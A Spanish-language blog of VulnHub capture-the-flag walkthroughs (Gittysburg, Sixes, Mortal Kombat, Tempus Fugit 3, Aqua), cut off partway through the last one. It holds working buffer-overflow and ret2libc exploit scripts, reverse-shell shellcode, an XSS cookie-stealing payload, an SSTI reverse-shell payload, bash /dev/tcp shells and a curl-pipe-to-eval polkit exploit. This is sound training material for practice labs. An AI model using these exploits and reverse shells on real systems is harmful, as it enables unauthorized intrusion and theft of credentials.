jueves, 8 de diciembre de 2022

GITTYSBURG: 1 : gitlab+bof shellcode jmpesp

 https://www.vulnhub.com/entry/gittysburg-1,271/

Funciona mejor con vmware y no siempre activa el puerto 8261. Reiniciar varias veces.


┌──(kali㉿kali)-[~/gittisburg]

└─$ nmap 192.168.2.7 -p-

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-08 12:35 EST

Nmap scan report for gittysburg.home (192.168.2.7)

Host is up (0.0015s latency).

Not shown: 65530 closed tcp ports (conn-refused)

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

8060/tcp open  aero

8261/tcp open  unknown

9094/tcp open  unknown


Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds

                                                                                                             

- En 80 tenemos un gitlab. Con fuzz sacamos folder root y podemos ver los proyectos de "david". En el puerto 8261 tenemos un shell pero necesitamos las claves. En el proyecto rash del gitlab encontramos el binario y en /root/jeebs-v2/blob/master/  lo que parece el código fuente server.c. La flag1 

flag1{R2l0X29udG9fdGhlX2JpbmFyeQ==}

ya nos avisa de atacar el binario rash.

Lo bajamos y con ghidra sacamos las claves de acceso. Pero no hace nada, se trata de provocar bof y conseguir shell. Con pwntools diseñamos el exploit

from pwn import *

#msfvenom shell reverse
buf =  b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += b"\xa8\x02\x4b\x68\x02\x00\x20\x44\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"

NOP  = b"\x90" * 100
junk = b"\x41" * 48
#Tomamos la función jmpesp del binario
EIP  = struct.pack("I", 0x080487e1)


payload = junk + EIP + NOP + buf

p = remote("192.168.2.7",8261)
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send(b"goldburg\n")
print(p.recvuntil(":", timeout=1))
p.send(payload+b"\n")
p.interactive()


- Entramos como david. Tenemos un folder blog-template que es backupeado por james y se ejecuta como root. Pero el script es de james. Entrando en blog-template ejecutamos git show y sale la clave de james.


david@gittysburg:~/blog-template$ git show

commit a42695a0af9c4e2ed9dd74c586c026c20eb42157 (HEAD -> master)

Author: David <david@gitlab.local>

Date:   Mon Nov 12 10:26:07 2018 +0000

    fix to config due to data spill

diff --git a/_config.yml b/_config.yml

index 0dc3427..a6ae3a9 100644

--- a/_config.yml

+++ b/_config.yml

@@ -6,7 +6,7 @@ description: > # this means to ignore newlines until "baseurl:"

 twitter_username: james 

 github_username:  james

-password: X63fhr63Ce%^re

+

 # Minima date format

 # refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this

david@gittysburg:~/blog-template$ su james

Password: 

$ id

uid=1001(james) gid=1001(james) groups=1001(james)


- Como james podemos modificar el script backup.sh y añadir un shell-reverse que se ejecutará como root.


root@gittysburg:~# cat flag4.txt

cat flag4.txt

  ______ __  __           __                

 / ___(_) /_/ /___ _____ / /  __ _________ _

/ (_ / / __/ __/ // (_-</ _ \/ // / __/ _ `/

\___/_/\__/\__/\_, /___/_.__/\_,_/_/  \_, / 

              /___/                  /___/ 

flag4{WW91X21ha2VfbWVfZmVlbF9naXR0eQ==}

CONGRATULATIONS on Rooting Gittysburg

I hope you enjoyed this box, it was a blast to make it for you!

Hit me up on Twitter and let me know what you think

@mccannwj / wjmccann.github.io

root@gittysburg:~# 


martes, 8 de noviembre de 2022

SIXES: 1: Walkthrough Advanced-Hard Boot2Root machine: Cookie stealing + jpg shell + pwn BOF ret2lib NX ASLR

 

https://www.vulnhub.com/entry/sixes-1,380/

Advanced-Hard Boot2Root machine intended to be used in a Workshop/CTF beside Shellmates Club.

Este es el primer walkthrough de esta máquina en internet. Tiene una serie de movimientos con los que se puede aprender mucho ;)

1. 

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 09:50 CET
Nmap scan report for sixes.home (192.168.2.28)
Host is up (0.016s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http


Accedemos al ftp


lftp 192.168.2.28:~> dir
-r--r--r--    1 0        0             233 Oct 03  2019 note.txt
lftp 192.168.2.28:/> cat note.txt
DONE:
  - Develop the web application frontend and backend
  - Add a firewall to block malicious tools
TODO:
  - Hire a Pentester to secure the web application
  - Buy food to my cat :3
shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}
233 bytes transferred

Probamos distintos fuzzers pero como dice la nota no funcionan por el firewall.

2. Accedemos al site web



Tenemos dos enlaces interesantes:
- restricted area
- contact
En restricted hay un login

No parece que podamos usar ni fuzzers ni sqlmap, y manualmente no parece vulnerable a inyecciones sql. La idea entonces es atacar por alguna entrada tipo búsqueda o contact.
Como dice:

if you found a bug/glitch somewhere, please let us know the exact page where you encountered it with a short description, our awesome team will check it and fix it very quickly!

Tenemos la posibilidad de atacar por aquí. Primero lo probamos abriendo un servidor en local y pasando la dirección en el formulario. Dado que recibimos respuesta pasamos a la acción. La url que le pasemos será abierta en local por el administrador, suponemos, por lo que podemos enviar un html como el siguiente:

a- enviamos como página de bug http://nuestraip:8000/hack.html

<html>
<script>document.write('<img src="http://nuestraip:8000/e2.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>


b- cuando la víctima abra el html volverá a hacer una petición para darnos la cookie de admin (no necesitamos crear ningún archivo e2.php, en la ventana del servidor veremos la petición con la cookie)
192.168.2.28 - - [06/Nov/2022 16:17:02] "GET /e2.php?cmd=PHPSESSID=etvf8med7boja63ib2tqlsc5jn HTTP/1.1" 200 -
3. Con esta cookie vamos a acceder al área restringida usando burp. En modo proxy capturamos la petición a http://192.168.2.28/admin.php y le añadimos la cookie.

Pasamos a repeater y tras probar distintos archivos funciona un jpg con shell reverse en php. Lo subimos


Inyectamos un shell reverse y accedemos

GET /img/payload_images.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.2.84/9999+0>%261'

www-data@sixes:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Tenemos al user webmaster pero poco más. Usando

www-data@sixes:/$ find / -user webmaster 2>/dev/null
/home/webmaster
/home/webmaster/.gnupg
/home/webmaster/.lesshst
/home/webmaster/user.txt
/home/webmaster/.selected_editor
/home/webmaster/notes.txt
/home/webmaster/.profile
/home/webmaster/.php_history
/home/webmaster/.cache
/home/webmaster/.viminfo
/home/webmaster/.mysql_history
/home/webmaster/.bash_history
/home/webmaster/.bash_logout
/home/webmaster/.bashrc
/sbin/notemaker
/var/crash/_sbin_notemaker.1000.crash
/var/www/html
/var/www/html/contact.php
/var/www/html/post.php
/var/www/html/home.php
/var/www/html/css
/var/www/html/index.php
/var/www/html/js
/var/www/html/admin.php
/var/www/html/about.php
/var/www/html/img
/var/www/html/config.php
/var/www/html/vendor
www-data@sixes:/$ 

Encontramos un binario que es el siguiente paso.

www-data@sixes:/$ ls -ahl /sbin/notemaker
-r-sr-sr-x 1 webmaster webmaster 17K Oct  3  2019 /sbin/notemaker 

Con pspy64 encontramos lo siguiente

2022/11/06 23:38:01 ←[34;1mCMD: UID=0    PID=11030  | /bin/sh -c echo "MjAxOS0xMC0wMiAyMTowODowNSB+LT4gcm9vdCBzYWlkOiBIZXkgd2VibWFzdGVyLCBpbiBjYXNlIHRoZSB3ZWIgc2VydmVyIGdvZXMgZG93biwgSSBnYXZlIHlvdSBzb21lIHByaXZpbGVnZXMgc28geW91IGNhbiBzdGFydC9zdG9wL3Jlc3RhcnQgaXQgd2hlbmV2ZXIgeW91IHdhbnQuIENoZWVycy4KMjAxOS0xMC0wMiAyMTowODozMyB+LT4gcm9vdCBzYWlkOiBIZXkgYWdhaW4sIGhvdyBtYW55IHRpbWVzIHNob3VsZCBJIHJlcGVhdCB0aGF0IFlPVSBTSE9VTEQgTkVWRVIgVVNFIEdFVFM/IFNlcmlvdXNseSwgZXZlbiB0aGUgY29tcGlsZXIgcmVtaW5kcyB5b3UuLi4gR28gZml4IGl0IG5vdyBvciBJJ2xsIGRlbGV0ZSB5b3VyIG1pbmVjcmFmdCBhY2NvdW50Lgo=" | base64 -d > /home/webmaster/notes.txt && chown webmaster /home/webmaster/notes.txt && chgrp webmaster /home/webmaster/notes.txt && chmod 600 /home/webmaster/notes.txt

Decodificamos el base64
2019-10-02 21:08:05 ~-> root said: Hey webmaster, in case the web server goes down, I gave you some privileges so you can start/stop/restart it whenever you want. Cheers.
2019-10-02 21:08:33 ~-> root said: Hey again, how many times should I repeat that YOU SHOULD NEVER USE GETS? Seriously, even the compiler reminds you... Go fix it now or I'll delete your minecraft account.
Es una pista para explotar el binario notemaker. Lo bajamos y analizamos con ghidra


Se trata de hacer un overflow para acceder a webmaster.

5. Analizamos en local el binario con gdb

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

y además en la máquina víctima tienen ASLR activado

www-data@sixes:/$ cat /proc/sys/kernel/randomize_va_space                                                                                                                                             
2  

Vamos a hacer el exploit con pwntools y enviarlo a través de socat (que debemos descargar en la víctima)

www-data@sixes:/tmp$ ./socat tcp-l:9997,reuseaddr,fork EXEC:"/sbin/notemaker",pty,raw,echo=0

Haremos una aproximación ret2lib

payload = junk+ p64(pop_rdi) + p64(sh) + p64(system) 

Para eso necesitamos

- el junk que desborda, en este caso "A"*280
- las direcciones pop rdi, /bin/sh y system de libc

Los offsets buscados se obtienen con readelf, ROPgadget y strings (sobre la libc víctima)

$ readelf -s libsixes | grep system                                                                                                          22 ⚙
  1406: 000000000004f420    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

ROPgadget --binary libsixes | grep "pop rdi ; ret"                                                                                         22 ⚙
0x000000000002164f : pop rdi ; ret
0x00000000001bbdb0 : pop rdi ; retf
0x0000000000001c36 : pop rdi ; retf 0x49f2

strings -a -tx libsixes | grep /bin/sh                                                                                                     22 ⚙
 1b3d88 /bin/sh

El problema es que tenemos que lidiar con ASLR, luego la dirección base de libc cambia con cada ejecución del programa. Así que hay que leakear esta dirección. En el payload final hay que añadir además RET para alinear el stack.

Script exploitnotemaker.py


from pwn import *

"""
Descargamos en nuestra máquina el binario vulnerable y la librería libc que utiliza
aquí llamada libsixes
Como la máquina víctima tiene ASLR activado tenemos que calcular primero la dirección
base de la librería, que es distinta cada vez que se ejecuta el binario. Para ello
leakeamos la dirección de PUTS y le restamos el offset, que siempre es el mismo, de 
esta función en esa librería.

https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
"""

elf  = ELF("./notemaker")
rop  = ROP(elf)

func = 'puts'

PUTS_PLT = elf.symbols[func]
MAIN_PLT = elf.symbols['main']
POP_RDI  = (rop.find_gadget(['pop rdi', 'ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

# Este es el junk que desborda
OFFSET = b"A"*280

# Como la máquina víctima no tiene gdb lo hacemos en remoto con socat
p=remote("192.168.2.28",9997)
libc = ELF("./libsixes")

def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    rop1     = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    print(p.clean())
    p.sendline(rop1)

    recieved = p.recvline().strip()
    leak     = u64(recieved.ljust(8, b"\x00"))

    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))

    if libc != "":
        libc.address = leak - libc.symbols[func_name]
        log.info("libc base @ %s" % hex(libc.address))

    return libc.address

libcadd      = get_addr(func)

#  Calculamos ahora las direcciones correctas con el leak de libc

system  = libcadd + 0x4f420
pop_rdi = libcadd + 0x2164f
sh      = libcadd + 0x1b3d88


# Necesitamos añadir RET al payload final para alinear el stack a 16 bytes. Se popean 8 bytes y se regresa
# 280 + 32 - 8 = 304 = 16 * 19

ret     = (rop.find_gadget(['ret']))[0]

payload = OFFSET + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) 

print(p.recvuntil(b">>"))
p.sendline(payload)
p.interactive()

Ejecutamos

┌──(kali㉿kali)-[~]
└─$ python3 exploitnotemaker.py                                                                                                                              22 ⚙
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './notemaker'
[*] Main start: 0x401370
[*] Puts plt: 0x401050
[*] pop rdi; ret  gadget: 0x4014eb
[+] Opening connection to 192.168.2.28 on port 9996: Done
[*] '/home/kali/libsixes'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './notemaker'
[*] Main start: 0x401370
[*] Puts plt: 0x401050
[*] pop rdi; ret  gadget: 0x4014eb
[+] Opening connection to 192.168.2.28 on port 9996: Done
[*] '/home/kali/libsixes'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
b".---------------- Simple Note Maker v1.0 ----------------.\n|                                                        |\n|    Use this program to leave me some notes, and I'll   |\n|                check them when I'm free!               |\n|          (Because I'm a busy webmaster, hehe)          |\n| Also, keep your notes below 256 bytes so I can easily  |\n|                      Read them :)                      |\n|             - 0x000c0ded, your webmaster.              |\n`--------------------------------------------------------'\nStart typing >> "
[*] puts GOT @ 0x404028
[*] Leaked libc address,  puts: 0x7f7d65bd3970
[*] libc base @ 0x7f7d65b53000
b".---------------- Simple Note Maker v1.0 ----------------.\n|                                                        |\n|    Use this program to leave me some notes, and I'll   |\n|                check them when I'm free!               |\n|          (Because I'm a busy webmaster, hehe)          |\n| Also, keep your notes below 256 bytes so I can easily  |\n|                      Read them :)                      |\n|             - 0x000c0ded, your webmaster.              |\n`--------------------------------------------------------'\nStart typing >>"
[*] Switching to interactive mode
 $ id
uid=1000(webmaster) gid=1000(webmaster) groups=1000(webmaster),33(www-data)
$ sudo -l
Matching Defaults entries for webmaster on sixes:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webmaster may run the following commands on sixes:
    (root) NOPASSWD: /usr/sbin/service
$ sudo service ../../bin/sh
$ id
uid=0(root) gid=0(root) groups=0(root)
$  

sábado, 5 de noviembre de 2022

vulnhub walkthrough MORTAL KOMBAT: 1: ARP poison routing + dns spoofing, ssrf hash-length attack

 https://www.vulnhub.com/entry/mortal-kombat-1,383/

You'll need to master and chain together multiple vulnerabilities

1. Se nos presenta lo siguiente

Curl test page

admin area (works only if localhost)
test page


testpage:

http://192.168.2.24/index.php?url=http://google.com

Probamos lfi

http://192.168.2.24/index.php?url=http://127.0.0.1/adminArea.php

you can only render page from google.com domain


2. Tenemos que spoofear la petición dns de la máquina virtual haciéndole creer que "google.com" es 127.0.0.1 para poder acceder a adminArea.php. 


en kali usar ettercap

- configurar etc/ettercap/etter.dns

google.com A 127.0.0.1

- Arrancar y hacer mitm arp poisoning seleccionando target1 la víctima y target2 el router

- Activar dns spoofing


3. Accedemos a adminArea.php con Burp

<!--
After the PT @Bytevsbyt3 told me that my page was really unsecure. He told me
that he pwn the server via RFI with ?file=http://evil.com/rfi.txt
I read about this vulnerability and now i fixed it. Now it's secure and I'm
pretty proud of myself and my code:).
I leave the fixed code in the source, in such way you can read about a good fix from here ;)
Before(vuln code!!!):
if(isset($_GET['file']) {
  $file = $_GET['file'];
  include($file);
  .
  .
  .
  .
Now(fixed code):
if(isset($_GET['file']) && isset($_GET['hash'])) {
  $file = $_GET['file'];
  if (sha1($secret.$file) === $_GET['hash']) {//preventing filename tampering
    $file = basename($file);//eliminate path travrsal and other shitty attack :D
    include($file);
  }
  .
  .
  .
  -->
</body>
<h2>Read file page</h2>
 in pure <b>php</b>
  <form id="myForm" >
    <input type="text" name="file" value="robots.txt">
    <input name="hash" value="e41b733f1d0c914cd72681ce93ea20c4ce6b6fed">

    <input type="submit">
  </form>
</html>

- Vemos el contenido y se trata de un hash length extension attack. Usamos hashpump. Se trataría de probar incrementando la longitud del secret hasta que funcione. Finalmente es 42.


~/vuln/mortalkombat/hash_extender$ hashpump
Input Signature: e41b733f1d0c914cd72681ce93ea20c4ce6b6fed
Input Data: robots.txt
Input Key Length: 42
Input Data to Add: /data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=
19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a
robots.txt\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa0/data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=

Como payload se envía un shell reverse

En Burp:

GET /index.php?url=http%3a//google.com/adminArea.php%3ffile%3drobots.txt%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%25a0/data%253a%253bbase64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=%26hash%3d19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a HTTP/1.1

- Accedemos. Para rootear hay que hacer overflow en opt agenda. Pero también es vulnerable a polkit.

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

martes, 1 de noviembre de 2022

TEMPUS FUGIT: 3: ssti, sqlcipher, proxychains, sftp, pyotp

Máquina muy recomendable.

This is an hard, real life box, created by @4nqr34z and @theart42 to be used as a CTF challenge on Bsides Newcastle 23. november 2019 and released on Vulnhub the same day.

In Tempus Fugit 3, the idea is still, like in the first two challenges; to create something “out of the ordinary”.

Aprendizaje avanzado. No pongo las flags.

1. Se trata de un 

Server:
nginx/1.14.2

Después de fuzzear un poco probamos inyección ssti y funciona

http://tf3/{{7*7}}

antes de que redirija observamos que muestra un not found tf3/49

Por lo tanto ssti attack reverse 

con burp inyectamos 


GET /{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.84\",9990));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\");'")}}{%endif%}{% endfor %}


urlencodeado

www-data@TF3:/srv/flask_app$ 

2. una vez dentro vemos que en static está la base de datos de conexión: db2.db, cifrada. Del app.py sacamos la clave para descifrarla

app = Flask(__name__)

app.secret_key = 'RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9'

pra = "pragma key='SecretssecretsSecrets...'"

con sqlcipher


sqlcipher db2.db 

sqlite> PRAGMA key = 'SecretssecretsSecrets...'; 

sqlite> ATTACH DATABASE 'plaintext.db' AS plaintext KEY ''; 

sqlite> SELECT sqlcipher_export('plaintext'); 

sqlite> DETACH DATABASE plaintext; 

salimos y con dbbrowser leemos los usuarios y contraseñas. Entramos via web con los 3 y nos aparece 

48507

Puede ser un puerto.

3. cat /etc/hosts

127.0.0.1       localhost

::1     localhost ip6-localhost ip6-loopback

fe00::0 ip6-localnet

ff00::0 ip6-mcastprefix

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

192.168.100.100 TF3 (estamos aquí)


luego estamos en una subnet. Con msfvenom creamos un shell reverse y lo subimos


msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.84 LPORT=4445 -f elf > shell.elf


desde la víctima usamos


scp kali@192.168.2.84:/shell.elf .


Vamos a acceder a toda la subnet 


msfconsole y use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp


y en options los valores con los que hemos creado el shell.elf

run

en meterpreter 

run autoroute -s 192.168.100.0/24

run autoroute -p

bg

use auxiliary/server/socks_proxy

exploit


tenemos entonces en 127.0.0.1:1080 acceso a la subnet, usar proxychains 

 

4. escaneamos la subnet y nos da aparte de 192.168.100.100 (en el que estamos) 192.168.100.1. Escaneamos a fondo ambos y encontramos abierto el 443 en 100.1


Lo redirijimos desde la víctima a nuestro kali para un acceso más rápido (podríamos acceder con proxychains firefox 192.168.100.1:443)


ssh -N -R 192.168.2.84:18000:192.168.100.1:443 kali@192.168.2.84


En home encontramos


Tempus Fugit

Why a new site, again..?

We have now been hacked 2 times! Both times because we have hired consultants with limited expertise, setting up our systems.

This time, we are doing it all ourself! Learning as we go. I, Anita Handjaab and Clee Torres have used hours, days and weeks of our free time, really getting our hands dirty, in getting things up!

All under my (Hugh Janus) supervision.

The fact, that we now also are capable setting up servers and webservices, will give us a great competitive advantage!!

About this site

To save time, we decided not to reinstall the server. We just deleted the old websites, to be sure thehackers didn't leave anything behind. What could go wrong, right?

Nothing much here yet. Just finished basic functionallity. But this minimal profile will a good place to start adding our content. We will use one of our own amazing templates designed by Clee Torres, when we have figured out how to convert them from Wordpress:-)


y en customers


Customers

Customer upload.

Anita came up with a great idea!

We could let customers upload their material directly to us over secure SFTP. I am working on a script; "addcustomers" that will make it easy for everyone of us to create customer accounts.


Es un cms llamado processwire. Accedemos en login con admin y la credencial de janus antes encontrada. 


5. Podemos instalar módulos. Probamos a buscar en la página oficial y encontramos un file manager


https://processwire.com/modules/process-file-manager/


Lo instalamos y subimos a la carpeta wire el shell reverse en php


<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9990 0>&1'");?>


Lo abrimos y dentro


www-data@TF3:/var/www/html/wire$ (estamos ahora en 100.1)


En home tenemos


alanna

bendite

bhanu

brig

design

franni

hamid

hephzibah

larissa

melisande

pritchard

selime

shirley-ann

tres

wai-bun


Aquí encontramos abierto el puerto 48507!. Puede ser el sftp de anita. Probamos con las credenciales de shirley-ann (suponemos que es anita)


sftp -P 48507 shirley-ann@192.168.100.1


pero nos pide un verification code


6. en /var/backups encontramos shirley-ann.png. Es un qrcode: 


otpauth://totp/shirley-ann@TF3?secret=76RA4HDNUVXN2ZD7TWAGJUHG2Q&issuer=TF3


Con python sacamos el otp para acceder sftp

 (desde nuestra máquina)


import pyotp

totp = pyotp.TOTP('76RA4HDNUVXN2ZD7TWAGJUHG2Q')

print(totp.now())


www-data@TF3:/home$ sftp -P 48507 shirley-ann@192.168.100.1

Could not create directory '/var/www/.ssh'.

The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.

ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.

Are you sure you want to continue connecting (yes/no)? yes

Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).

Verification code: 

Connected to shirley-ann@192.168.100.1.

sftp> 


Es el home de anita. Sacamos la clave id_rsa a temp, salimos y entramos por ssh


www-data@TF3:/tmp$ ssh -i id_rsa shirley-ann@192.168.100.1 -p 48507

Could not create directory '/var/www/.ssh'.

The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.

ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.

Are you sure you want to continue connecting (yes/no)? yes

Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).

Linux TF3 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64


The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.


Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

You have mail.

Last login: Tue Nov  1 19:05:38 2022 from 192.168.2.104

shirley-ann@TF3:~$ 


7. Tenemos 


User shirley-ann may run the following commands on TF3:

    (ALL) NOPASSWD: /root/scripts/addcustomer


con el que ahora no sabemos qué hacer. Buscamos suid


find / -perm -4000 2>/dev/null


y encontramos ping. Parece modificado así que lo bajamos y decompilamos con ghidra.


    case 0x70:

      options = options | 8;

      fill(local_28,optarg);

      __isoc99_sscanf(optarg,&DAT_001050c2,&magic);

      if ((magic == 0xdeadbeef) && (_Var1 = getuid(), _Var1 == 0x3f2)) {

        puts("Enjoy your root-shell h4x0r!");

        getchar();

        setuid(0);

        system("/bin/sh");

        return 0;

      }

  

Podemos acceder a root con este ping si lo ejecutamos desde el usuario 0x3f2, uid 1010, pero somos


shirley-ann@TF3:~$ id                                                                                                                                                        

uid=1005(shirley-ann) gid=1005(shirley-ann) groups=1005(shirley-ann) 


8. Buscando más encontramos en el raiz 


-rwx------   1 1337 1337 1.8K Nov  1 10:10 ...


Es un archivo perteneciente al user 1337 que no existe. Luego aquí podemos usar el addcustomer con uid 1337, accediendo luego


uid=1337(hacker) gid=1005(shirley-ann) groups=1005(shirley-ann)

Accedemos al contenido de /... con cat y es una clave id_rsa. Probamos uno a uno los users y acaba siendo larissa


ssh -p 48507 -i irsa larissa@192.168.100.1


y larissa es uid 1010


larissa@TF3:~$ id

uid=1010(larissa) gid=1010(larissa) groups=1010(larissa)


Ejecutamos ping con la información antes obtenida


larissa@TF3:~$ ping -p deadbeef

PATTERN: 0xdeadbeef

Enjoy your root-shell h4x0r!

id

# id

uid=0(root) gid=1010(larissa) groups=1010(larissa)

viernes, 28 de octubre de 2022

AQUA: 1 lfi, port knocking, BOF ret2lib

 

https://www.vulnhub.com/entry/aqua-1,419/

Pantalla inicial:

Help me! My computer has been hacked by Megumin and I have lost access to my computer password! If you help me, I'll tell everything about Megumin so you can help me to hack her back. Please?? ...

1. Pulsamos en yes y nos da unas credenciales de megumin que no sabemos cómo usarlas. Tenemos dos posibilidades: por el puerto ftp que está filtrado o por alguna página de login oculta. 

2. Usando un fuzzer encontramos login.php y accedemos al diario secreto de megumin en home.php. Tenemos lfi

/home.php?showcase=../../../../etc/passwd

3. A partir de aquí hay que ir revisando archivos de configuración o buscar en el home. El hecho de que el puerto ftp aparezca filtrado nos indica la posibilidad de un port knocking. El archivo donde mirar es ../../../../../etc/knockd.conf

[FTP]
sequence = 1234:tcp,5678:tcp,9012:tcp

4. Activamos

knock ip 1234:tcp 5678:tcp 9012:tcp

y comprobamos que ftp se activa con nmap. Entramos en ftp con las credenciales de megumin.

5. No hay ningún archivo en el ftp pero podemos escribir. La idea ahora es subir un shell reverse que podamos activar en web, y para eso hay que encontrar el directorio donde se guardan los archivos para ejecutar el shell con el lfi de home.php.

Con el fuzzer encontramos además el directorio deployment que dentro contiene production.

Subimos como prueba un test.txt por el ftp y vamos mirando en los distintos directorios web encontrados hasta que aparece en production.

Subimos el shell.php

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");?>

y accedemos a él vía web habiendo abierto la ventana reverse previamente.

6. Una vez dentro como usuario apache probamos su megumin con la password de inicio y funciona. Con sudo -l

User megumin may run the following commands on aqua:
    (ALL) NOPASSWD: /home/aqua/Desktop/backdoor

Miramos

megumin@aqua:/home/aqua/Desktop$ cat backdoor
#!/bin/bash

echo "[+] Backdoor opened! Hehehe..."

runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null

7. Ejecutamos el backdoor y entrando por otra ventana hacemos

nc 127.0.0.1 1337

Accedemos a aqua

www-data@aqua:/var/www/html/deployment/production$ nc 127.0.0.1 1337
nc 127.0.0.1 1337
id
uid=1000(aqua) gid=1000(aqua) groups=1000(aqua),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

8. sudo -l

User aqua may run the following commands on aqua:
    (ALL) NOPASSWD: /root/quotes
    (ALL) NOPASSWD: /root/esp
    (ALL) NOPASSWD: /usr/bin/gdb

Con sudo  /usr/bin/gdb -nx -ex '!sh' -ex quit haríamos root, pero se nos avisaba que este es el camino fácil y que lo intentemos por el difícil sin usar gdb y se supone que usando los otros binarios quotes y esp.

9. Camino difícil explotando /root/quotes

Al ejecutarlo

aqua@aqua:~$ sudo /root/quotes

sudo /root/quotes

/root/quotes [Your name here] 

Mirando en aqua/Desktop encontramos además un enlace a un source que parece ser el de quotes:

https://raw.githubusercontent.com/yunaranyancat/personal_projects/master/project_9/quotes.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define NUMBER_OF_STRING 20
#define MAX_STRING_SIZE 100

void getname(char *buf);

int main(int argc, char **argv)
{

	srand(time(NULL));
	char quotes[NUMBER_OF_STRING][MAX_STRING_SIZE] =
	{ "Impossible is for the unwilling.",
	  "Stay foolish to stay sane.",
	  "When nothing goes right, go left.",
	  "Try Again. Fail again. Fail better.",
	  "Take the risk or lose the chance.",
          "It's okay to not be okay as long as you are not giving up.",
